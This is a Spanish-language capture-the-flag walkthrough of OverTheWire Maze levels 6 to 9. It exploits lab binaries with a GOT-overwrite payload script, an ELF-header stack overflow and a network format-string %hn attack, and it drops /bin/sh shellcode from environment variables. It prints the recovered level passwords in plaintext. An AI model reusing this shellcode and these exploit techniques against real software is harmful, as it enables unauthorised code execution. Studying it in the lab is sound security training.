Básicamente, imprime la dirección de una cierta variable de entorno si le indicamos también la ruta de ejecución del binario:
maze6@maze:/tmp$ gcc -m32 -o envaddr envaddr.c
maze6@maze:/tmp$ export TEST=$(python -c 'print("\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze6@maze:/tmp$ ./envaddr TEST /maze/maze6
TEST will be at 0xffffde35
Y luego, para el problema de la dirección en la pila, podemos hacer fuerza bruta hasta que consigamos la shell:
#!/usr/bin/env python3
import os
import struct
import sys
exit_got = 0x080498dc
env_addr = 0xffffde35
file_addr = 0xffffd000 + int(sys.argv[1])
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = p32(env_addr + 10)
payload += b'\0' * 28
payload += p32(exit_got - 3)
payload += p32(exit_got + 5)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
Empezaremos desde 0xffffd000
hasta 0xffffe000
(que es el espacio disponible en la pila) en pasos de 4. Habrá valores en los que la pila se para. Si esto ocurre, cancelamos el bucle y continuamos en la siguiente iteración:
maze6@maze:/tmp$ for i in `seq 0 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
0
^C
maze6@maze:/tmp$ for i in `seq 4 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
4
^C
maze6@maze:/tmp$ for i in `seq 8 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
8
Segmentation fault
12
16
^C
Finalmente, vemos que 952 es el valor correcto y conseguimos una shell como maze7
:
maze6@maze:/tmp$ for i in `seq 840 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
840
Segmentation fault
844
^C
maze6@maze:/tmp$ for i in `seq 848 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
848
Fatal error: glibc detected an invalid stdio handle
Aborted
...
944
Fatal error: glibc detected an invalid stdio handle
Aborted
948
952
asdf.txt$
$
$ whoami
maze7
Y funciona perfectamente:
maze6@maze:/tmp$ /maze/maze6 asdf.txt "$(python3 maze6.py 952)"
asdf.txt$
$ whoami
maze7
$ cat /etc/maze_pass/maze7
iuvaegoang
Nivel 7 -> 8
Tenemos otro binario que comprueba el contenido de un archivo dado:
int main(int argc, char **argv) {
int __fd;
Elf32_Ehdr ehdr;
int fd;
if (argc < 2) {
printf("usage: %s file\n", *argv);
/* WARNING: Subroutine does not return */
exit(1);
}
__fd = open(argv[1], 0, 0);
if (__fd < 0) {
printf("cannot open file %s\n", argv[1]);
/* WARNING: Subroutine does not return */
exit(1);
}
read(__fd, &ehdr, 52);
printf("Dumping section-headers of program %s\n", argv[1]);
Print_Shdrs(__fd, ehdr.e_shoff, (uint) ehdr.e_shstrndx, (uint) ehdr.e_shnum, (uint) ehdr.e_shentsize);
close(__fd);
return 0;
}
void Print_Shdrs(int fd, int offset, int shstrndx, int num, size_t size) {
void *__buf;
void *__buf_00;
char sdata[40];
char *strs;
Elf32_Shdr *shdr;
char *strdata;
int i;
lseek(fd, offset, 0);
__buf = malloc(num * 40);
read(fd, __buf, num * 40);
lseek(fd, *(__off_t *) ((int) __buf + shstrndx * 40 + 16), 0);
__buf_00 = malloc(*(size_t *) ((int) __buf + shstrndx * 40 + 20));
read(fd, __buf_00, *(size_t *) ((int) __buf + shstrndx * 40 + 20));
lseek(fd, offset, 0);
puts("\nNo Name\t\tAddress\t\tSize");
for (i = 0; i <= num; i++) {
read(fd, sdata, size);
printf("%2d: %-16s\t0x%08x\t0x%04x\n", i, (int) __buf_00 + sdata._0_4_, sdata._12_4_, sdata._20_4_);
}
putchar('\n');
free(__buf_00);
free(__buf);
return;
}
Esta vez, existe una vulnerabilidad de Buffer Overflow en read(fd, sdata, size);
dentro de la función Print_Shdrs
, ya que sdata
tiene 40 bytes asignados y podemos controlar la variable size
, que es el número de bytes que serán introducidos en sdata
.
La variable size
viene de ehdr.e_shentsize
en la función main
. Podemos controlar este campo con el archivo especificado. Vamos a probarlo con GDB:
maze7@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze7@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000010: 4545 4545 4646 4646 4747 4747 4848 4848 EEEEFFFFGGGGHHHH
00000020: 4949 4949 4a4a 4a4a 4b4b 4b4b 4c4c 4c4c IIIIJJJJKKKKLLLL
00000030: 4d4d 4d4d 4e4e 4e4e 4f4f 4f4f 5050 5050 MMMMNNNNOOOOPPPP
00000040: 5151 5151 5252 5252 5353 5353 5454 5454 QQQQRRRRSSSSTTTT
00000050: 5555 5555 5656 5656 5757 5757 5858 5858 UUUUVVVVWWWWXXXX
00000060: 5959 5959 5a5a 5a5a 0a YYYYZZZZ.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) set pagination off
(gdb) disassemble main
Dump of assembler code for function main:
0x080486d2 <+0>: push %ebp
0x080486d3 <+1>: mov %esp,%ebp
0x080486d5 <+3>: push %ebx
0x080486d6 <+4>: sub $0x38,%esp
0x080486d9 <+7>: cmpl $0x1,0x8(%ebp)
0x080486dd <+11>: jg 0x80486f9 <main+39>
...
0x08048777 <+165>: pushl -0x8(%ebp)
0x0804877a <+168>: call 0x804859b <Print_Shdrs>
0x0804877f <+173>: add $0x14,%esp
0x08048782 <+176>: pushl -0x8(%ebp)
0x08048785 <+179>: call 0x8048480 <close@plt>
0x0804878a <+184>: add $0x4,%esp
0x0804878d <+187>: mov $0x0,%eax
0x08048792 <+192>: mov -0x4(%ebp),%ebx
0x08048795 <+195>: leave
0x08048796 <+196>: ret
End of assembler dump.
Ponemos un breakpoint antes de llamar a Print_Shdrs
y miramos los parámetros:
(gdb) break *0x0804877a
Breakpoint 1 at 0x804877a: file maze7.c, line 83.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
Breakpoint 1, 0x0804877a in main (argc=2, argv=0xffffd784) at maze7.c:83
83 maze7.c: No such file or directory.
(gdb) x/16x $esp
0xffffd698: 0x00000003 0x49494949 0x00004d4d 0x00004d4d
0xffffd6a8: 0x00004c4c 0x41414141 0x42424242 0x43434343
0xffffd6b8: 0x44444444 0x45454545 0x46464646 0x47474747
0xffffd6c8: 0x48484848 0x49494949 0x4a4a4a4a 0x4b4b4b4b
Nos preocupa el quinto parámetro, que es 0x00004c4c
esta vez (donde tenemos LLLL
en el archivo).
Ponemos otro breakpoint en la instrucción read
vulnerable y vemos que alcanza el breakpoint:
(gdb) disassemble Print_Shdrs
Dump of assembler code for function Print_Shdrs:
0x0804859b <+0>: push %ebp
0x0804859c <+1>: mov %esp,%ebp
0x0804859e <+3>: push %ebx
0x0804859f <+4>: sub $0x38,%esp
0x080485a2 <+7>: push $0x0
0x080485a4 <+9>: pushl 0xc(%ebp)
0x080485a7 <+12>: pushl 0x8(%ebp)
0x080485aa <+15>: call 0x8048410 <lseek@plt>
0x0804864e <+179>: call 0x8048430 <puts@plt>
0x08048653 <+184>: add $0x4,%esp
0x08048656 <+187>: movl $0x0,-0x8(%ebp)
0x0804865d <+194>: jmp 0x80486a4 <Print_Shdrs+265>
0x0804865f <+196>: pushl 0x18(%ebp)
0x08048662 <+199>: lea -0x3c(%ebp),%eax
0x08048665 <+202>: push %eax
0x08048666 <+203>: pushl 0x8(%ebp)
0x08048669 <+206>: call 0x80483e0 <read@plt>
0x0804866e <+211>: add $0xc,%esp
0x08048671 <+214>: lea -0x3c(%ebp),%eax
0x080486c4 <+297>: call 0x8048400 <free@plt>
0x080486c9 <+302>: add $0x4,%esp
0x080486cc <+305>: nop
0x080486cd <+306>: mov -0x4(%ebp),%ebx
0x080486d0 <+309>: leave
0x080486d1 <+310>: ret
End of assembler dump.
(gdb) break *0x08048669
Breakpoint 2 at 0x8048669: file maze7.c, line 51.
(gdb) continue
Continuing.
No Name Address Size
Breakpoint 2, 0x08048669 in Print_Shdrs (fd=3, offset=1229539657, shstrndx=19789, num=19789, size=19532) at maze7.c:51
51 in maze7.c
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xf7e87ce1 in ?? () from /lib32/libc.so.6
(gdb) quit
El programa se rompe porque debido a los argumentos que le pasamos a Print_Shdrs
. Vamos a llenar el archivo con bytes nulos hasta la posición donde controlamos size
:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "\0" * 40)' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0a .........
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x0804877a
Breakpoint 1 at 0x804877a: file maze7.c, line 83.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
Breakpoint 1, 0x0804877a in main (argc=2, argv=0xffffd784) at maze7.c:83
83 maze7.c: No such file or directory.
(gdb) x/16x $esp
0xffffd698: 0x00000003 0x00000000 0x00000000 0x00000000
0xffffd6a8: 0x00004443 0x00000000 0x00000000 0x00000000
0xffffd6b8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd6c8: 0x00000000 0x00000000 0x00000000 0x00000000
Sabemos que podemos controlar dos bytes (0x00004443
, CD
) que serán copiados a size
. Ahora, vamos a añadir algo más reconocible después de CD
:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "".join(chr(c) * 4 for c in range(0x41, 0x46)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000040: 4545 4545 0a EEEE.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x08048669
Breakpoint 1 at 0x8048669: file maze7.c, line 51.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
Breakpoint 1, 0x08048669 in Print_Shdrs (fd=3, offset=0, shstrndx=16705, num=16705, size=17475) at maze7.c:51
51 maze7.c: No such file or directory.
(gdb) c
Continuing.
1111638594: (null) 0x00000000 0x0000
Program received signal SIGSEGV, Segmentation fault.
0xf7e84016 in free () from /lib32/libc.so.6
(gdb) info registers
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x41414139 1094795577
ebx 0xf7fc5000 -134459392
esp 0xffffd640 0xffffd640
ebp 0xffffd690 0xffffd690
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0xf7e84016 0xf7e84016 <free+38>
eflags 0x10206 [ PF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) quit
Ahora que vuelve a romperse, vemos que $ecx
tiene 0x41414141
(AAAA
) como valor. Vamos a añadir más bytes nulos entre ABCD
y AAAA
y veamos qué pasa:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "\0" * 4 + "".join(chr(c) * 4 for c in range(0x41, 0x45)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 0000 0000 4141 4141 4242 4242 4343 4343 ....AAAABBBBCCCC
00000040: 4444 4444 0a DDDD.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x08048669
Breakpoint 1 at 0x8048669: file maze7.c, line 51.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
Breakpoint 1, 0x08048669 in Print_Shdrs (fd=3, offset=0, shstrndx=0, num=0, size=17475) at maze7.c:51
51 maze7.c: No such file or directory.
(gdb) c
Continuing.
1094795585: (null) 0x00000000 0x0000
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) quit
Genial, ahora tenemos el control de $eip
(0x44444444
, DDDD
). Ahora, es el momento de ejecutar shellcode. La manera más sencilla es saltar a una variable de entorno cargada en la pila, como en niveles anteriores. Podemos utilizar el programa envaddr
de antes para saber la dirección donde estará la variable:
maze7@maze:/tmp$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze7@maze:/tmp$ ./envaddr TEST /maze/maze7
TEST will be at 0xffffde0f
Ahora creamos el archivo (añadiendo algún offset a la dirección de la pila para caer en la zona de instrucciones nop
) y listo:
maze7@maze:/tmp$ python3 -c 'import os; os.write(1, b"\0" * 44 + b"ABCD" + b"\0" * 16 + b"\x20\xde\xff\xff")' > /tmp/file.txt
maze7@maze:/tmp$ /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
0: (null) 0x00000000 0x0000
$ whoami
maze8
$ cat /etc/maze_pass/maze8
pohninieng
Nivel 8 -> 9
Esta vez, el binario /maze/maze8
ejecutará un programa que escucha en un puerto dado (1337 por defecto) y espera una contraseña:
int main(int argc, char **argv) {
int iVar1;
int iVar2;
__pid_t _Var3;
size_t sVar4;
ssize_t sVar5;
char replybuf[532];
char buf[512];
int sopt;
sockaddr_in serv;
int bytes;
int client_sock;
int serv_sock;
char *answer;
char *question;
int port;
answer = "god";
port._0_2_ = 1337;
if (argc == 2) {
iVar1 = atoi(argv[1]);
port._0_2_ = (uint16_t) iVar1;
}
iVar1 = socket(2, 1, 6);
if (iVar1 == -1) {
perror("socket()");
/* WARNING: Subroutine does not return */
exit(1);
}
setsockopt(iVar1, 1, 2, &sopt, 4);
serv.sin_family = 2;
serv.sin_port = htons((uint16_t) port);
serv.sin_addr = 0;
memset(serv.sin_zero, 0, 8);
iVar2 = bind(iVar1, (sockaddr *) &serv, 0x10);
if (iVar2 == -1) {
perror("bind()");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar2 = listen(iVar1, 5);
if (iVar2 == -1) {
perror("listen()");
/* WARNING: Subroutine does not return */
exit(1);
}
alarm(0x4b0);
signal(0xe, alrm);
signal(0x11, (__sighandler_t) 0x1);
while( true ) {
client_sock = accept(iVar1, (sockaddr *) 0x0, (socklen_t *) 0x0);
_Var3 = fork();
if (_Var3 == 0) break;
close(client_sock);
}
sVar4 = strlen("Give the correct password to proceed: ");
send(client_sock, "Give the correct password to proceed: ", sVar4, 0);
sVar5 = recv(client_sock,buf, 0x1ff, 0);
buf[sVar5] = '\0';
iVar1 = strcmp(answer, buf);
if (iVar1 == 0) {
replybuf._0_4_ = 0x2e727245;
replybuf._4_4_ = 0x49202e2e;
replybuf._8_4_ = 0x73617720;
replybuf._12_4_ = 0x73756a20;
replybuf._16_4_ = 0x6f6a2074;
replybuf._20_4_ = 0x676e696b;
replybuf._24_4_ = 0x202e2e2e;
replybuf._28_4_ = 0x2c736579;
replybuf._32_4_ = 0x206f6720;
replybuf._36_4_ = 0x79617761;
replybuf._40_2_ = 0xa2e;
replybuf[42] = '\0';
}
else {
snprintf(replybuf, 0x200, buf);
sVar4 = strlen(replybuf);
*(undefined4 *)(replybuf + (sVar4 - 1)) = 0x20736920;
*(undefined4 *)(replybuf + sVar4 + 3) = 0x6e6f7277;
*(undefined4 *)(replybuf + sVar4 + 7) = 0x5f5e2067;
*(undefined2 *)(replybuf + sVar4 + 0xb) = 0xa5e;
replybuf[sVar4 + 0xd] = '\0';
}
sVar4 = strlen(replybuf);
send(client_sock, replybuf, sVar4, 0);
/* WARNING: Subroutine does not return */
_exit(0);
}
Podemos iniciar el servidor en una sesión e interactuar desde otra:
maze8@maze:~$ /maze/maze8
Aunque la contraseña está escrita en el binario, el servidor siempre dice que está mal:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: god
god is wrong ^_^
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: asdf
asdf is wrong ^_^
El programa está llamando a snprintf
utilizando una variable controlada por el usuario (buf
) como format string. Por tanto, existe una vulnerabilidad de Format String. Podemos comprobarlo de esta manera:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: %x.%x.%x.%x.%x.%x.%x.%x.%x
3de00e00.30306530.3330332e.33353630.33332e30.33333033.332e6532.33353333.2e303336 is wrong ^_^
Esta vulnerabilidad permite leer valores arbitrario de la memoria, pero también escribir valores arbitrarios.
En primer lugar, tenemos que descubrir la posición en la pila donde nuestra entrada se está almacenando. Esto puede realizarse poniendo algunos caracteres reconocibles antes de los formatos %x
(formato que muestra los datos en hexadecimal):
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAA %x.%x.%x.%x.%x.%x.%x
AAAA 41414141.34313420.34313431.34332e31.34333133.332e3032.33313334 is wrong ^_^
Y vemos que el primer %x
imprime 41414141
(que es AAAA
en hexadecimal). Por tanto, lo que pongamos en los primeros 4 bytes estarán en la posición 1 de la pila. Podemos verificarlo así:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAA %1$x
AAAA 41414141 is wrong ^_^
Y además, si añadimos más datos, podemos utilizar %2$x
para tener más valores:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAABBBB %1$x %2$x
AAAABBBB 41414141 42424242 is wrong ^_^
Ahora es el momento de introducir el formato %n
. Este permite escribir el número de caracteres imprimidos hasta el formato %n
en la dirección de la variable a la que apunta.
Por ejemplo, si pusiéramos AAAA %1$n
, el programa guardaría 0x00000005
en la dirección 0x41414141
. Pero esto es solo un ejemplo, la idea ahora es sobrescribir una entrada de la Tabla de Offsets Globales para que apunte a shellcode malicioso.
Después de snprintf
el programa llama a strlen
y _exit
. Podemos sobreescribir cualquiera de ellos, pero utilizaré _exit
esta vez. La dirección de _exit
en la GOT es la siguiente:
maze8@maze:~$ objdump -R /maze/maze8 | grep _exit
08049d18 R_386_JUMP_SLOT _exit@GLIBC_2.0
Ahora la idea es poner 0x08049d18
(en formato little-endian) donde teníamos las AAAA
en el ejemplo y poner un valor en esta dirección utilizando %n
. Para probarlo, ejecutamos el servidor con GDB. Será útil poner un breakpoint después de snprintf
:
maze8@maze:~$ gdb -q /maze/maze8
Reading symbols from /maze/maze8...done.
(gdb) source /usr/local/peda/peda.py
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048795 <+0>: push ebp
0x08048796 <+1>: mov ebp,esp
0x08048798 <+3>: sub esp,0x440
...
0x0804899d <+520>: call 0x8048600 <snprintf@plt>
0x080489a2 <+525>: add esp,0xc
0x080489a5 <+528>: lea eax,[ebp-0x440]
0x080489ab <+534>: push eax
0x080489ac <+535>: call 0x80485c0 <strlen@plt>
...
0x080489f9 <+612>: call 0x8048670 <send@plt>
0x080489fe <+617>: add esp,0x10
0x08048a01 <+620>: push 0x0
0x08048a03 <+622>: call 0x8048550 <_exit@plt>
0x08048a08 <+627>: push DWORD PTR [ebp-0x14]
0x08048a0b <+630>: call 0x8048660 <close@plt>
0x08048a10 <+635>: add esp,0x4
0x08048a13 <+638>: jmp 0x80488b8 <main+291>
End of assembler dump.
gdb-peda$ break *0x080489a2
Breakpoint 1 at 0x80489a2: file maze8.c, line 82.
Como el servidor genera un proceso hijo cada vez que se recibe una conexión, tenemos que decirle a GDB que siga el proceso hijo:
gdb-peda$ set follow-fork-mode child
gdb-peda$ run 1338
Starting program: /maze/maze8 1338
^C
Program received signal SIGINT, Interrupt.
...
Stopped reason: SIGINT
0xf7fd7c99 in __kernel_vsyscall ()
gdb-peda$ x 0x08049d18
0x8049d18: 0x08048556
gdb-peda$ continue
Continuing.
Ahora podemos probar el format string explicado anteriormente:
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%1$n' | nc 127.0.0.1 1338
Give the correct password to proceed:
Y el servidor se para en el breakpoint. Ahora podemos examinar la dirección 0x08049d18
(que es la entrada de _exit
en la GOT):
gdb-peda$ x 0x08049d18
0x8049d18: 0x00000004
Como esperábamos, hemos escrito un valor de 0x00000004
porque se han impreso 4 caracteres antes del formato %n
.
Para conseguir escribir una dirección de la pila, necesitamos introducir un valor más grande que 0xfffdd000
(el comienzo del espacio de la pila). Por tanto, tendríamos que imprimir una cantidad enorme de caracteres (lo cual es imposible de gestionar).
La solución a esto es utilizar formatos como %hn
y %hhn
, que sobrescriben 2 bytes y 1 bytes, respectivamente. De momento, vamos a usar solo %hn
:
gdb-peda$ run 1339
Starting program: /maze/maze8 1339
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%1$hn' | nc 127.0.0.1 1339
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0x08040004
Genial, hemos sobrescrito los últimos 2 bytes en esta dirección con 0x0004
.
Vamos a añadir una variable de entorno con shellcode, como en niveles anteriores, y reiniciar GDB:
maze8@maze:~$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze8@maze:~$ gdb -q /maze/maze8
Reading symbols from /maze/maze8...done.
(gdb) source /usr/local/peda/peda.py
gdb-peda$ set follow-fork-mode child
gdb-peda$ break *0x080489a2
Breakpoint 1 at 0x80489a2: file maze8.c, line 82.
Hemos puesto un montón de instrucciones nop
("\x90"
) para prevenir probemas cuando explotemos el binario sin GDB.
Ahora vemos la posición de la variable de entorno TEST
en la pila:
gdb-peda$ start
...
gdb-peda$ find TEST
Searching for 'TEST' in: None ranges
Found 2 results, display max 2 items:
libc : 0xf7f6fd88 ("TEST")
[stack] : 0xffffdd6e ("TEST=", '\220' <repeats 195 times>...)
Entonces, necesitamos escribir 0xffffdd6e
en la entrada de _exit
de la GOT (0x08049d18
). De momento, vamos a poner 0xdd80
en los últimos 2 bytes (se ha añadido un pequeño offset a la dirección de la variable de entorno). Para ello, necesitamos escribir 0xdd80 = 56704
caracteres, que puede hacerse con otro formato (%c
).
Nótese que ya hay 4 bytes escritos (la dirección), por lo que un formato como %56700c
será suficiente:
gdb-peda$ run 1340
Starting program: /maze/maze8 1340
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%56700c%1$hn' | nc 127.0.0.1 1340
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0x0804dd80
Perfecto, ahora tenemos que cambiar los 2 primeros bytes. Para esto, tenemos que poner 0xffff
en la dirección 0x08049d18 + 2 = 0x08049d1a
. Sin embargo, ya hemos escrito 0xdd80
bytes, por lo que necesitamos 0xffff - 0xdd80 = 8831
caracteres adicionales.
Para efectuar los dos procesos de escritura a la vez, podemos usar el hecho de que los 4 primeros bytes irán a la posición 1 de la pila y los 4 bytes siguientes irán a la posición 2. Por tanto, pondremos "\x18\x9d\x04\x08\x1a\x9d\x04\x08"
al principio (8 bytes), y tendremos que cambiar %56700c
por %56696c
(aunque no es estrictamente necesario ya que tenemos un montón de instrucciones nop
). Este será el payload final:
gdb-peda$ run 1341
Starting program: /maze/maze8 1341
maze8@maze:~$ echo -e '\x18\x9d\x04\x08\x1a\x9d\x04\x08%56696c%1$hn%8831c%2$hn' | nc 127.0.0.1 1341
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0xffffdd80
Y vemos que la entrada de _exit
en la GOT se ha modificado por el valor deseado. Si continuamos, GDB tratará de otorgarnos una shell:
gdb-peda$ continue
Continuing.
process 1730 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80489a2
Ahora lo podemos probar sin GDB:
maze8@maze:~$ /maze/maze8
maze8@maze:~$ echo -e '\x18\x9d\x04\x08\x1a\x9d\x04\x08%56696c%1$hn%8831c%2$hn' | nc 127.0.0.1 1337
Give the correct password to proceed is wrong ^_^
maze8@maze:~$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze8@maze:~$ /maze/maze8
$ whoami
maze9
$ cat /etc/maze_pass/maze9
jopieyahng
Y listo. Tenemos acceso como maze9
y vemos un mensaje de “congratulations”:
maze9@maze:~$ ls
CONGRATULATIONS